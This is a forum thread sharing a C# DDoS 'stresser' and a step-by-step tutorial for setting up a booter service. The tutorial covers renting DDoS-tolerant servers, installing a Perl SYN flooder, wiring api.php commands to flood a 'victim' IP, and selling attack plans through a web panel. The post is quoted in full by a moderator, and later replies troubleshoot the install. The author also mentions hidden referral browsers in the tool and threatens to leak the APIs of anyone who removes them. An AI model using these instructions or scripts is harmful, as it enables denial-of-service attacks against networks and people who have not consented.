[Free+Source] Profound's C# API Stresser + How to setup an API

Harry

Software Engineer
Premium Member
Messages
1,271
Points
748
Profound's API Booter


[1] Introduction
[2] How to setup & use
[3] Installing an API to a VPS
[4] Information, License & Credits


Introduction

This is a simple C# (.NET) API stresser. This, from source, will not stresser instantly. You will need an API (Application Program Interface) to be able to send an attack, and use the appropriate methods in order to send the attack.


How to setup & use
Download:
You do not have permission to view link Log in or register now.

Virus Scan: No .exe's in the download, but I work on a 'no trust, no use' basis. You're the one missing the opportunity, unlike me. So jokes on you :tonguewink:

You will need Visual Studio 2013 in order to start editing this tool.
First, you will need to edit the MAX time to your liking:
Then you will need to edit the link that will send the command to start the attack:

Match your Booters API with the 'wildcards' and the code below

Code:
MyBooter.com/api.php?IP=&PORT=&TIME=
Code:
MyBooter.com/api.php?IP="+textBox1.Text+"&PORT="+textBox2.Text+"&TIME="+label4.Text

Code:
MyBooter.com/api.php?APIKey=Key&IP=&PORT=&TIME=
Code:
MyBooter.com/api.php?APIKey=Key&IP="+textBox1.Text+"&PORT="+textBox2.Text+"&TIME="+label4.Text

Code:
MyBooter.com/api.php?APIKey=Key&IP=&PORT=&TIME=&METHOD=
Code:
MyBooter.com/api.php?APIKey=Key&IP="+textBox1.Text+"&PORT="+textBox2.Text+"&TIME="+label4.Text+"METHOD="+comboBox1.Text

Wildcards;
Code:
"+ textBox1.Text +" = IP
"+ textBox2.Text +" = PORT
"+ label4.Text +" = TIME
"+ comboBox1.Text +" = METHOD

Installing an API to a VPS
The following text is from a user on hackforums:
Requirements:
Putty, Winscp, APIs, centos 6 installed on a vps or a dedicated server(accepting ddos because you could be banned), a webhost for your booter.

i found these website for your centos server:

Hostkey
VpsGet
Ecatel
Ampnode
Blazingfast
Offshoresrv

my installation is a dedi on kimsufi (ovh)

first login to your vps/dedi with putty on your server.
root/password

login with winscp to your server.
go to /root/

download, extract and upload the 5 files in /root/.
Code:
mediafire.com/download/ckx98fryya1f8bg/api_script_auto_install.rar

go to your putty program and type:
Code:
cd /root/
perl setup.pl

say yes all the time when it ask for download.

your api should be installed when finished.

ssyn.pl is a simple perl flooder.

Code:
perl /root/ssyn.pl victimip port sizeofpacket time
example: perl /root/ssyn.pl 8.8.8.8 80 50000 60

now, just go to :
Code:
yourvpsip/api.php
and see if it works.

now we have to add the apikey, the host, the port, the time, and the method.

Code:
yourvpsip/api.php?key=apikey&host=victimip&port=80&time=60&method=udp

try to ddos your own ip by replacing "victimip" by your own ip address and see if u are ddosed :grinning:
you can also install dstat on your server, and see if your attacks works.

Code:
yum install dstat
dstat --net

the api is done.

------------------------------------

now you have to make your web booter.

use notepad++ for editing file on windows.

Download Booter source gemini (thanks to Zoom):
Code:
mediafire.com/download/8bkcdkrjwt5r2ea/source.rar

find a good webhost or free subdomain with php, mysql, phpmyadmin.
i use a free webhost at "hostinger" (but they can ban so its your choice)

create a sql database on your panel and keep the informations "db_host, db_name, db_username, db_server"

go to the folder sql table (in the rar file downloaded), put sql.sql in your database
how to do that? just connect to phpmyadmin on your panel and select your database, go to insert and upload sql.sql, then clic execute.

now go to your booter folder downloaded before and edit /include/db.php with your informations concording to your sql database created before on your panel.

take the ftp informations of your website (ftp server, ftp user, ftp pass)
use filezilla or winscp, connect to your ftp account.
send all the files in the rar file on the root path of your website.
excepted the folder SQL table which contains the sql database.

when upload is finished, go to your website URL adress.

register an account, create a admin user (admin)
and connect to your booter with login page.

then , return to your phpmyadmin on the panel.

go to your database, find "users", find your nickname (created before when registered)
click modify and put rank from 0 to 1
it will change your status from user to admin.

reconnect to your website or just refresh
you will see "admin" button in the menu.

click on this, go to plans.

create a new plan

plan name: e.g boot plan 1
description: e.g boot 300sec
max boot time: 300
unit: month or whatever u want
plan lenght: 1 or 2 (month, days ..)
plan price: 5

then press add.

go to "manage users", edit, plan, select your plan 'boot plan 1"
press update.

now the most important thing(never explained in all tutorial on HF .. stupid..), is to add your api created on your vps to your website.
go to admin, servers

just insert your vps ip + api.php here:
Code:
yourvpsip/api.php

and click addservers.

go to blacklist, and blacklist
You do not have permission to view link Log in or register now.
, yourvpsipadress, and your website ip.

note: if you want to modify something in the source about api,
edit hub.php

api url from booter source(hub.php):
Code:
$url = $r["url"]."?key=apikey&host={$host}&port={$port}&time={$time}&method={$method}";

concording with the api url:
api source:
Code:
pastebin.com/JK1GXFgi

$r["url"]." will be replaced with your server added before
key=apikey is the key (not changed in api.php)
host={$host} is the victim ip (same in api.php)
port={$port} is the port flooded of victim (same in api.php)
time={$time} is the time of the attack
method={$method} is the method

the method is choosen concording with the source in hub.php and api.php

hub.php source:
Code:
option value="udp">UDP Flood (Only this one work)
option value="tcp">TCP Flood
is the method in menu hub.

value "udp" will change the method value ( {$method} ) who will be replaced in the api url from booter > vps api.



you can add more scripts by adding in your api.php a new method with the commandline pointing to a new flood script , but it must be concording with the method on ur website and ur api..

api.php:
Code:
$array = array("udp", "tcp", "stop");// Add you're existing methods here, and delete you're none existent methods.
$ray = array("apikey");

------

if ($method == "udp") { $command = "screen -dm perl /root/ssyn.pl $host $port 50000 $time"; }
if ($method == "tcp") { $command = "screen -dm /root/tcp $host 8 300000 $time"; }
if ($method == "stop") { $command = "pkill $host -f"; }

now you have to edit 3 files:
index.php
admin/sidebar.php
includes/init.php

edit the files and search "yourwebsite.com", and replace it by your own website url. dont change the PHP files in the URL

then try your flood attack
just click on hub in the menu and send the attack.


note: I have not added spoofed script(just a basic perl flooder) because my dedi is not spoofed but i'll make a tutorial on this when i'll have a spoofed server


Information, License & Credits
So I have one rule or you'll get your API leaked:
*IF* you are going to sell and release this I have 2 webBroswers (Hidden behind the groupBox) that open referal links to pages for me to get points on. If you remove this feature, you will have your API leaked.
Credit me for tool source if you use it...

Credits:
Me (Harry/Profound)
NOOB1234 (Hackforums - Creating the API on VPS tutorial)

Any other issues, feel free to comment *or* private message me and I will be sure to assist you quicker :grinning:

~ Harry
 
Last edited:

Lucifer

Moderator
Staff member
Messages
776
Points
453
Profound's API Booter


[1] Introduction
[2] How to setup & use
[3] Installing an API to a VPS
[4] Information, License & Credits


Introduction

This is a simple C# (.NET) API stresser. This, from source, will not stresser instantly. You will need an API (Application Program Interface) to be able to send an attack, and use the appropriate methods in order to send the attack.


How to setup & use
Download:
You do not have permission to view link Log in or register now.

Virus Scan: No .exe's in the download, but I work on a 'no trust, no use' basis. You're the one missing the opportunity, unlike me. So jokes on you :tonguewink:

You will need Visual Studio 2013 in order to start editing this tool.
First, you will need to edit the MAX time to your liking:
Then you will need to edit the link that will send the command to start the attack:

Match your Booters API with the 'wildcards' and the code below

Code:
MyBooter.com/api.php?IP=&PORT=&TIME=
Code:
MyBooter.com/api.php?IP="+textBox1.Text+"&PORT="+textBox2.Text+"&TIME="+label4.Text


[These Spoilers are Glitched]
Code:
MyBooter.com/api.php?APIKey=Key&IP=&PORT=&TIME=
Code:
MyBooter.com/api.php?APIKey=Key&IP="+textBox1.Text+"&PORT="+textBox2.Text+"&TIME="+label4.Text

Code:
MyBooter.com/api.php?APIKey=Key&IP=&PORT=&TIME=&METHOD=
Code:
MyBooter.com/api.php?APIKey=Key&IP="+textBox1.Text+"&PORT="+textBox2.Text+"&TIME="+label4.Text+"METHOD="+comboBox1.Text

Wildcards;
Code:
"+ textBox1.Text +" = IP
"+ textBox2.Text +" = PORT
"+ label4.Text +" = TIME
"+ comboBox1.Text +" = METHOD

Installing an API to a VPS
The following text is from a user on hackforums:
Requirements:
Putty, Winscp, APIs, centos 6 installed on a vps or a dedicated server(accepting ddos because you could be banned), a webhost for your booter.

i found these website for your centos server:

Hostkey
VpsGet
Ecatel
Ampnode
Blazingfast
Offshoresrv

my installation is a dedi on kimsufi (ovh)

first login to your vps/dedi with putty on your server.
root/password

login with winscp to your server.
go to /root/

download, extract and upload the 5 files in /root/.
Code:
mediafire.com/download/ckx98fryya1f8bg/api_script_auto_install.rar

go to your putty program and type:
Code:
cd /root/
perl setup.pl

say yes all the time when it ask for download.

your api should be installed when finished.

ssyn.pl is a simple perl flooder.

Code:
perl /root/ssyn.pl victimip port sizeofpacket time
example: perl /root/ssyn.pl 8.8.8.8 80 50000 60

now, just go to :
Code:
yourvpsip/api.php
and see if it works.

now we have to add the apikey, the host, the port, the time, and the method.

Code:
yourvpsip/api.php?key=apikey&host=victimip&port=80&time=60&method=udp

try to ddos your own ip by replacing "victimip" by your own ip address and see if u are ddosed :grinning:
you can also install dstat on your server, and see if your attacks works.

Code:
yum install dstat
dstat --net

the api is done.

------------------------------------

now you have to make your web booter.

use notepad++ for editing file on windows.

Download Booter source gemini (thanks to Zoom):
Code:
mediafire.com/download/8bkcdkrjwt5r2ea/source.rar

find a good webhost or free subdomain with php, mysql, phpmyadmin.
i use a free webhost at "hostinger" (but they can ban so its your choice)

create a sql database on your panel and keep the informations "db_host, db_name, db_username, db_server"

go to the folder sql table (in the rar file downloaded), put sql.sql in your database
how to do that? just connect to phpmyadmin on your panel and select your database, go to insert and upload sql.sql, then clic execute.

now go to your booter folder downloaded before and edit /include/db.php with your informations concording to your sql database created before on your panel.

take the ftp informations of your website (ftp server, ftp user, ftp pass)
use filezilla or winscp, connect to your ftp account.
send all the files in the rar file on the root path of your website.
excepted the folder SQL table which contains the sql database.

when upload is finished, go to your website URL adress.

register an account, create a admin user (admin)
and connect to your booter with login page.

then , return to your phpmyadmin on the panel.

go to your database, find "users", find your nickname (created before when registered)
click modify and put rank from 0 to 1
it will change your status from user to admin.

reconnect to your website or just refresh
you will see "admin" button in the menu.

click on this, go to plans.

create a new plan

plan name: e.g boot plan 1
description: e.g boot 300sec
max boot time: 300
unit: month or whatever u want
plan lenght: 1 or 2 (month, days ..)
plan price: 5

then press add.

go to "manage users", edit, plan, select your plan 'boot plan 1"
press update.

now the most important thing(never explained in all tutorial on HF .. stupid..), is to add your api created on your vps to your website.
go to admin, servers

just insert your vps ip + api.php here:
Code:
yourvpsip/api.php

and click addservers.

go to blacklist, and blacklist
You do not have permission to view link Log in or register now.
, yourvpsipadress, and your website ip.

note: if you want to modify something in the source about api,
edit hub.php

api url from booter source(hub.php):
Code:
$url = $r["url"]."?key=apikey&host={$host}&port={$port}&time={$time}&method={$method}";

concording with the api url:
api source:
Code:
pastebin.com/JK1GXFgi

$r["url"]." will be replaced with your server added before
key=apikey is the key (not changed in api.php)
host={$host} is the victim ip (same in api.php)
port={$port} is the port flooded of victim (same in api.php)
time={$time} is the time of the attack
method={$method} is the method

the method is choosen concording with the source in hub.php and api.php

hub.php source:
Code:
option value="udp">UDP Flood (Only this one work)
option value="tcp">TCP Flood
is the method in menu hub.

value "udp" will change the method value ( {$method} ) who will be replaced in the api url from booter > vps api.



you can add more scripts by adding in your api.php a new method with the commandline pointing to a new flood script , but it must be concording with the method on ur website and ur api..

api.php:
Code:
$array = array("udp", "tcp", "stop");// Add you're existing methods here, and delete you're none existent methods.
$ray = array("apikey");

------

if ($method == "udp") { $command = "screen -dm perl /root/ssyn.pl $host $port 50000 $time"; }
if ($method == "tcp") { $command = "screen -dm /root/tcp $host 8 300000 $time"; }
if ($method == "stop") { $command = "pkill $host -f"; }

now you have to edit 3 files:
index.php
admin/sidebar.php
includes/init.php

edit the files and search "yourwebsite.com", and replace it by your own website url. dont change the PHP files in the URL

then try your flood attack
just click on hub in the menu and send the attack.


note: I have not added spoofed script(just a basic perl flooder) because my dedi is not spoofed but i'll make a tutorial on this when i'll have a spoofed server


Information, License & Credits
So I have one rule or you'll get your sh*t leaked:
*IF* you are going to sell and release this I have 2 webBroswers (Hidden behind the groupBox) that open referal links to pages for me to get points on. If you remove this feature, you will have all your tools leaked.
IDGAF about credits because this stuff is easy as, but whatevs.

Credits:
Me (Harry/Profound)
NOOB1234 (Hackforums - Creating the API on VPS tutorial)

Any other issues, feel free to comment *or* private message me and I will be sure to assist you quicker :grinning:

~ Harry
Now the script kiddies will attack with full force on bo2
 

Harry

Software Engineer
Premium Member
Messages
1,271
Points
748
Now the script kiddies will attack with full force on bo2
Not like their 'spookie bot nets with 999,999,999 bots weren't'

Nothing new here but, just thought I'd share it with a tool :tongueclosed:
 

Harry

Software Engineer
Premium Member
Messages
1,271
Points
748
i keep gething the centos home page evin after i delete the index.html
Then you couldn't have deleted the actual homepage or you're being shown a cached page. Try clearing the cache, and look in the var/www or var/www/html folders.
 

Harry

Software Engineer
Premium Member
Messages
1,271
Points
748
The webbrowser component is really slow. I would suggest using a GET Request
Of course! Infact, there are heaps of faster ways to do this, and surely 'securer' ways, however, I took into the assumption that if you needed to follow a tutorial this badly, you probably would have a hard time understanding the harder components.

This tools source is basically for simplicity's sake. :smile:
 

browey

New Member
Messages
4
Points
3
You could do an equal tutorial but you should be linked to the vps that is linked to the web the api and the script

this page could you crack an aimbot program?
 

Luxury

New Member
Messages
2
Points
1
I keep getting this error when running the last step of the set up

/root/sedip.sh: line 2: wget: command not found
/root/sedpass.sh: line 5: $'\r': command not found
 

Harry

Software Engineer
Premium Member
Messages
1,271
Points
748
I keep getting this error when running the last step of the set up

/root/sedip.sh: line 2: wget: command not found
/root/sedpass.sh: line 5: $'\r': command not found
Type into PuTTy:
Code:
yum install wget -y
 

Similar threads


Top